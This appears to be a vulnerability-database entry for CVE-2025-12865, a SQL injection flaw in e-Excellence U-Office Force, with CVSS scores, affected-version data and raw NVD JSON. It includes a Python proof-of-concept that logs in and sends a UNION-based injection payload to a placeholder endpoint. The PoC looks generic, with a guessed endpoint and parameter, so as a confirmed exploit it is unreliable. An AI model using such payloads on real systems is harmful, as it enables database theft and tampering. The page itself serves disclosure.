Security Vulnerability Report
中文
CVE-2025-12865 CVSS 8.8 HIGH

CVE-2025-12865

Published: 2025-11-10 03:15:42
Last Modified: 2025-11-18 18:04:27

Description

U-Office Force developed by e-Excellence has a SQL Injection vulnerability, allowing authenticated remote attacker to inject arbitrary SQL commands to read, modify, and delete database contents.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:edetw:u-office_force:*:*:*:*:*:*:*:* - VULNERABLE
U-Office Force < 未知修复版本
e-Excellence U-Office Force 所有未打补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12865 SQL Injection PoC for U-Office Force # Target: U-Office Force application # Vulnerability: SQL Injection in authenticated endpoint TARGET_URL = "http://target-server/U-Office-Force/api/endpoint" LOGIN_URL = "http://target-server/U-Office-Force/login" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to U-Office Force""" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) return "login_success" in response.text or response.status_code == 200 def exploit_sql_injection(session): """Execute SQL injection to extract database information""" # SQL Injection payload - modify parameter name based on target endpoint injection_payload = "' OR '1'='1' UNION SELECT NULL,NULL,version(),user(),database()---" params = { "id": injection_payload, "action": "getDetails" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } try: response = session.get(TARGET_URL, params=params, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[*] Response Preview:\n{response.text[:500]}") if "root@" in response.text or "mysql" in response.text.lower(): print("[+] SQL Injection Successful! Database info leaked.") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): session = requests.Session() print("[*] Attempting login to U-Office Force...") if login(session): print("[+] Login successful!") else: print("[-] Login failed. Check credentials.") sys.exit(1) print("[*] Attempting SQL injection...") if exploit_sql_injection(session): print("[+] Vulnerability confirmed!") else: print("[-] Exploitation failed or target not vulnerable.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12865", "sourceIdentifier": "[email protected]", "published": "2025-11-10T03:15:42.280", "lastModified": "2025-11-18T18:04:27.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "U-Office Force developed by e-Excellence has a SQL Injection vulnerability, allowing authenticated remote attacker to inject arbitrary SQL commands to read, modify, and delete database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:edetw:u-office_force:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.50", "matchCriteriaId": "FC377CFD-3CA3-4AC3-AED3-6C6636A6DD46"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10489-a5a6d-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10488-2df22-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}